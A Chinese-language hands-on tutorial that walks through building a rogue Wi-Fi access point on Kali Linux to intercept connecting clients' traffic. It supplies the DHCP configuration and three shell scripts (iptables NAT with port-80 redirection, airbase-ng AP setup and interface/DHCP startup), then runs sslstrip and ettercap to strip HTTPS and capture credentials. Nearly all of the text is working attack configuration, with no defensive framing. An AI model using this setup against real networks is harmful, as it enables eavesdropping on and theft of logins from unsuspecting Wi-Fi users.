主要内容:参考网上多篇文章,自己动手完全实验成功,在这里详细记录自己在kali linux下的搭建过
程,本文着重于动手实现,不涉及原理,关于原理应该会在之后的单独文章中详细探究
实验环境:
Host 主机: Windows 8 64位
虚拟机软件:
VirtualBox 4.3.8(需要安装同4.3.8版本 拓展包 和 增强功能包 ,这是两个不同的
包!安装增强包的时候需要安装相应的内核头文件和编译环境,这里不多做介绍)
虚拟机:Kali Linux1.08, i386(安装系统请自行搜索相应教程)
USB无线网卡 Ralink RT2870芯片(Kali自带驱动,若需装网卡驱动的请自行搜索解决)
注意, 如果是仅有笔记本自带的无线网卡,是无法在虚拟机中完成这个实验的,笔记本
自带的无线网卡是不能以USB设备的方式分配给虚拟机的,必须是USB无线网卡
启动Kali Linux虚拟机,在左上角的设备-〉分配USB设备 中将无线网卡分配给虚拟机
搭建实际钓鱼AP环境:
总的思路和配置:
Kali上有一张以太网卡eth0(在虚拟机的网络配置中选择 网络地址转换(NAT) 就可以使
得Kali 虚拟机通过Windows8 物理主机上网),这个是kali连上Internet的接口,而连接到我们
的钓鱼AP的客户端也会通过这个接口连到Internet上。实际我们的目的是监视客户端的数据流量。
我们的AP使用的是DHCP自动分配ip地址的方式让客户端连接。下面是DHCP服务器的简单配置:
DHCP的安装与配置
注意: DHCP软件包的名称和配置文件存放目录和CentOS的不同
①.安装 dhcp3 服务器软件: $sudo apt-get install dhcp3-server
②.配置 dhcp3 服务配置文件/etc/dhcp3/dhcpd.conf
#vi /etc/dhcp3/dhcpd.conf
authoritative;
ddns-update-style none;
ignore client-updates;
default-lease-time 7200;
max-lease-time 36000;
option domain-name "xx.cn"; //取个域名,任意取
option domain-name-servers 202.202.96.33, 202.202.96.34; //这两个是dns服务器,填ISP给的即可
option routers 192.168.10.1; //默认网关
subnet 192.168.10.0 netmask 255.255.255.0 {//网段以及掩码
range 192.168.10.10 192.168.10.120; //分配ip地址的范围
}
③.更改 dhcp3 服务监听的网卡,可以修改
/etc/default/dhcp3-server
INTERFACES="at0" // DHCP服务器监听的网络接口,文章后面会讲到at0
注意: 需要为DHCP服务的监听网络接口分配ip地址且必须使得该接口的地址和DHCP提供的子网
在同一网段dhcp服务才能正确开启,配置好之后我们先不启动
我们要通过eth0的网卡连上Internet,所以我们的钓鱼AP进来的数据需要通过 nat 实现上网。有关
Linux防火墙iptables以及nat的详细内容,请参考鸟哥写的资料:
http://linux.vbird.org/linux_server/0250simple_firewall.php
iptables.sh是我写的关于iptables和nat的简单的设置,如有需要可参考一下
iptables.sh内容
#!/bin/bash
##2014-08-19
##fake ap iptables configure script
##write by netcake
#filter
#清除filter表的所有防火墙规则
iptables -F
iptables -X
iptables -Z
#设定filter表的3条链的默认 动作
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
#信任本机回环端口lo
iptables -A INPUT -i lo -j ACCEPT
#信任由本机建立的链接
iptables -A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT
#开启Linux内核的封包转递功能,但是这种方法开启在重启之后失效,若想固定开启封包转递功能,
#可以编辑/etc/sysctl.conf文件,找到
#
# net.ipv4.ip_forward=1
#
#一行,取消注释
echo "1" > /proc/sys/net/ipv4/ip_forward
#nat
#清除nat表的所有防火墙规则
iptables -t nat -F
iptables -t nat -X
iptables -t nat -Z
#设定nat表的3条链的默认 动作,需要指定表名是nat,若不指定则默认是filter
iptables -t nat -P PREROUTING ACCEPT
iptables -t nat -P OUTPUT ACCEPT
iptables -t nat -P POSTROUTING ACCEPT
#Internet access,开启nat
#这条指令是将所有来自192.168.10.0/24 网段(dhcp分配给连上钓鱼AP的ip地址)经由eth0接口出去的数
#据进行网络地址转换,即将来自192.168.10.0/24 网段的数据的ip地址替换为eth0接口的ip地址
iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j MASQUERADE
#listen on local,redirect http data,sslstrip的监听端口
#将所有目的端口为80的tcp数据镜像到本机端口10000
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
#iptables.sh脚步结束
ap.sh是开启钓鱼热点的脚本
ap.sh内容
#!/bin/bash
#实验过程中,我发现往往第一次AP开启成功,后面则有时成功有时失败,后来观察发现失败的时候
#虚拟机里面 network-manager此时都不能识别无线网卡,因此先重启network-manager识别无线网卡
#后再开启AP,后面再无开启失败的问题
#重新启动network-manager识别无线网卡
/etc/init.d/network-manager restart
sleep 4
#将无线网卡调整至监听模式
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
#启动无线网卡监听模式。此时会产生一个mon0的对应监听网络虚拟接口,
#实际上此时mon0等同于waln0
airmon-ng start wlan0
sleep 3
#指定ssid为wifi 和AP频道为6,开启AP,airbase-ng命令会产生相应的一个atX虚拟网络接口,
#在这里就是at0
airbase-ng -e wifi -c 6 mon0
#ap.sh结束
at0.sh脚本设置虚拟网络接口at0的网络参数和开启DHCP服务在at0上监听客户端的请求
at0.sh内容
#!/bin/bash
#启用at0虚拟网络接口
#配置ip为dhcp服务器配置文件中指定的网关ip(即DHCP配置文件中的option-routers)
#注意: DHCP服务的监听网络接口ip地址必须和DHCP提供的子网是在同一网段
#设置mtu,不设定也无妨
ifconfig at0 up
ifconfig at0 192.168.10.1 netmask 255.255.255.0
ifconfig at0 mtu 1500
#指定DHCP服务器使用的配置文件/etc/dhcp3/dhcpd.conf和pid文件/var/run/dhcpd.pid
#还有监听的网络接口at0
dhcpd -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd.pid at0
#启动DHCP服务,注意,任何时候修改了dhcp服务器的配置文件必须要重启DHCP服务才能生效
/etc/init.d/isc-dhcp-server start
#at0.sh结束
开启sslstrip 、ettercap 监听
我们已经将所有的tcp 80端口的数据镜像到了10000端口,我们只需在此监听即可
#sslstrip -l 10000
打开另一终端,使用ettercap显示监听到的ssl加密数据
#ettercap -Tqi at0
注意: 开启ettercap会导致/proc/sys/net/ipv4/ip_forward 的值为0,即客户端会断开和
Internet的链接,此时需手动修改/proc/sys/net/ipv4/ip_forward的值
#echo 1 > /proc/sys/net/ipv4/ip_forward